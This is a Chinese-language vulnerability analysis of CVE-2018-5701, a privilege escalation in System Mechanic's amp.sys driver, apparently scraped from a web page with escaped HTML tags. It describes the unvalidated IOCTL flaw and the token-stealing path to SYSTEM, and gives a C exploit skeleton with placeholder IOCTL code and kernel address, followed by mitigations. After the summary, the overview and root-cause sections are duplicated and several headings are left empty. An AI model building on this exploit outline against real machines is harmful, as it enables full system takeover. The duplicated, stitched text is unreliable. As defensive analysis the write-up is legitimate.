CVE-2018-5701 System Mechanic 内核提权漏洞分析<\/h1>

漏洞概述<\/h2>
CVE-2018-5701是System Mechanic工具软件中amp.sys驱动存在的一个内核提权漏洞。System Mechanic是一款系统优化工具，设计用于识别和处理常见和复杂的系统问题。该漏洞允许攻击者将程序权限提升至SYSTEM级别。<\/p>

受影响版本<\/h2>

System Mechanic 16.5.0.125及之前版本<\/li> <\/ul>

漏洞分析<\/h2>

漏洞位置<\/h3>
漏洞存在于安装的amp.sys驱动中，该驱动实现了不安全的设备控制(IOCTL)接口。<\/p>

根本原因<\/h3>
amp.sys驱动在处理IOCTL请求时，未对用户模式传入的参数进行充分验证，导致攻击者可以构造恶意IOCTL请求来执行任意内核内存读写操作。<\/p>

关键漏洞点<\/h3>

未验证的IOCTL分发例程<\/strong>：<\/p>

驱动未正确验证用户模式传入的缓冲区大小和内容<\/li>
允许用户模式程序直接操作内核内存<\/li> <\/ul> <\/li>

内存操作原语<\/strong>：<\/p>

漏洞提供了内核内存读写能力<\/li>
攻击者可以利用这些原语修改内核对象或函数指针<\/li> <\/ul> <\/li>

权限提升路径<\/strong>：<\/p>

通过修改进程令牌或类似结构体，将普通用户权限提升至SYSTEM<\/li> <\/ul> <\/li> <\/ol>
漏洞利用技术<\/h2>
利用步骤<\/h3>

获取设备句柄<\/strong>：<\/p>
HANDLE hDevice =<\/span> CreateFileA("<\/span>\\\\<\/span>.<\/span>\\<\/span>amp"<\/span>, GENERIC_READ |<\/span> GENERIC_WRITE, 0<\/span>, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); <\/span><\/span><\/code><\/pre><\/li> 构造恶意IOCTL请求<\/strong>：<\/p> 确定漏洞IOCTL控制码<\/li> 构造包含目标地址和数据的输入缓冲区<\/li> <\/ul> <\/li> 执行内核内存操作<\/strong>：<\/p> 通过DeviceIoControl发送恶意请求<\/li> 实现内核内存读写<\/li> <\/ul> <\/li> 权限提升<\/strong>：<\/p> 定位当前进程令牌<\/li> 修改令牌中的权限标志位<\/li> 或复制SYSTEM进程的令牌<\/li> <\/ul> <\/li> <\/ol> 利用代码示例<\/h3> #include<\/span> <windows.h><\/span> <\/span><\/span><\/span>#include<\/span> <stdio.h><\/span> <\/span><\/span><\/span><\/span> <\/span><\/span>#define VULNERABLE_IOCTL 0x9C402564 <\/span>\/\/ 示例IOCTL码，实际需要根据驱动分析确定 <\/span><\/span><\/span><\/span> <\/span><\/span>typedef<\/span> struct<\/span> _MEMORY_OP { <\/span><\/span> PVOID Address; <\/span><\/span> SIZE_T Size; <\/span><\/span> PVOID Buffer; <\/span><\/span>} MEMORY_OP, *<\/span>PMEMORY_OP; <\/span><\/span> <\/span><\/span>BOOL ExploitVulnerability<\/span>() { <\/span><\/span> HANDLE hDevice =<\/span> CreateFileA("<\/span>\\\\<\/span>.<\/span>\\<\/span>amp"<\/span>, <\/span><\/span> GENERIC_READ |<\/span> GENERIC_WRITE, <\/span><\/span> 0<\/span>, <\/span><\/span> NULL, <\/span><\/span> OPEN_EXISTING, <\/span><\/span> FILE_ATTRIBUTE_NORMAL, <\/span><\/span> NULL); <\/span><\/span> <\/span><\/span> if<\/span> (hDevice ==<\/span> INVALID_HANDLE_VALUE) { <\/span><\/span> printf("[!] Failed to open device: %d<\/span>\n<\/span>"<\/span>, GetLastError()); <\/span><\/span> return<\/span> FALSE; <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 构造内存写操作 <\/span><\/span><\/span><\/span> MEMORY_OP memOp; <\/span><\/span> ULONG_PTR targetAddress =<\/span> 0xFFFFF12345678<\/span>; \/\/ 示例目标地址 <\/span><\/span><\/span><\/span> ULONG_PTR newValue =<\/span> 0x12345678<\/span>; <\/span><\/span> <\/span><\/span> memOp.Address =<\/span> (PVOID)targetAddress; <\/span><\/span> memOp.Size =<\/span> sizeof<\/span>(ULONG_PTR); <\/span><\/span> memOp.Buffer =<\/span> &<\/span>newValue; <\/span><\/span> <\/span><\/span> DWORD bytesReturned =<\/span> 0<\/span>; <\/span><\/span> BOOL result =<\/span> DeviceIoControl(hDevice, <\/span><\/span> VULNERABLE_IOCTL, <\/span><\/span> &<\/span>memOp, <\/span><\/span> sizeof<\/span>(memOp), <\/span><\/span> NULL, <\/span><\/span> 0<\/span>, <\/span><\/span> &<\/span>bytesReturned, <\/span><\/span> NULL); <\/span><\/span> <\/span><\/span> if<\/span> (!<\/span>result) { <\/span><\/span> printf("[!] IOCTL failed: %d<\/span>\n<\/span>"<\/span>, GetLastError()); <\/span><\/span> CloseHandle(hDevice); <\/span><\/span> return<\/span> FALSE; <\/span><\/span> } <\/span><\/span> <\/span><\/span> CloseHandle(hDevice); <\/span><\/span> return<\/span> TRUE; <\/span><\/span>} <\/span><\/span><\/code><\/pre>缓解措施<\/h2> 临时解决方案<\/h3> 卸载System Mechanic<\/strong>：<\/p> 控制面板 > 程序和功能 > 卸载System Mechanic<\/li> <\/ul> <\/li> 删除amp.sys驱动<\/strong>：<\/p> 定位并删除%SystemRoot%\System32\drivers\amp.sys<\/li> 删除相关注册表项<\/li> <\/ul> <\/li> 限制驱动加载<\/strong>：<\/p> 使用组策略限制非Microsoft签名的驱动加载<\/li> <\/ul> <\/li> <\/ol> 长期解决方案<\/h3> 厂商修复<\/strong>：<\/p> iolo Technologies已在新版本中修复此漏洞<\/li> 升级至System Mechanic 16.5.0.126或更高版本<\/li> <\/ul> <\/li> 驱动开发最佳实践<\/strong>：<\/p> 实现严格的IOCTL参数验证<\/li> 使用SeAccessCheck验证调用者权限<\/li> 实现安全的缓冲区处理<\/li> <\/ul> <\/li> <\/ol> 漏洞修复分析<\/h2> 修复方法<\/h3> IOCTL验证增强<\/strong>：<\/p> 添加对用户模式缓冲区的完整验证<\/li> 检查缓冲区大小和内容有效性<\/li> <\/ul> <\/li> 权限检查<\/strong>：<\/p> 在执行敏感操作前验证调用者权限<\/li> 限制只有管理员或SYSTEM可以调用危险IOCTL<\/li> <\/ul> <\/li> 内存操作限制<\/strong>：<\/p> 移除或限制直接内存操作功能<\/li> 实现安全的代理接口<\/li> <\/ul> <\/li> <\/ol> 总结<\/h2> CVE-2018-5701是一个典型的内核驱动提权漏洞，其根本原因是驱动未对用户模式输入进行充分验证。此类漏洞危害性高，可被用于完全控制系统。驱动开发者应遵循最小权限原则，对所有用户模式输入进行严格验证，并避免暴露危险的内核内存操作接口。<\/p>

CVE-2018-5701 System Mechanic 内核提权漏洞分析<\/h1>

漏洞概述<\/h2> CVE-2018-5701是System Mechanic工具软件中amp.sys驱动存在的一个内核提权漏洞。System Mechanic是一款系统优化工具，设计用于识别和处理常见和复杂的系统问题。该漏洞允许攻击者将程序权限提升至SYSTEM级别。<\/p>

漏洞分析<\/h2>

漏洞位置<\/h3> 漏洞存在于安装的amp.sys驱动中，该驱动实现了不安全的设备控制(IOCTL)接口。<\/p>

根本原因<\/h3> amp.sys驱动在处理IOCTL请求时，未对用户模式传入的参数进行充分验证，导致攻击者可以构造恶意IOCTL请求来执行任意内核内存读写操作。<\/p>

漏洞利用技术<\/h2>

缓解措施<\/h2>

漏洞修复分析<\/h2>

漏洞概述<\/h2>
CVE-2018-5701是System Mechanic工具软件中amp.sys驱动存在的一个内核提权漏洞。System Mechanic是一款系统优化工具，设计用于识别和处理常见和复杂的系统问题。该漏洞允许攻击者将程序权限提升至SYSTEM级别。<\/p>

漏洞位置<\/h3>
漏洞存在于安装的amp.sys驱动中，该驱动实现了不安全的设备控制(IOCTL)接口。<\/p>

根本原因<\/h3>
amp.sys驱动在处理IOCTL请求时，未对用户模式传入的参数进行充分验证，导致攻击者可以构造恶意IOCTL请求来执行任意内核内存读写操作。<\/p>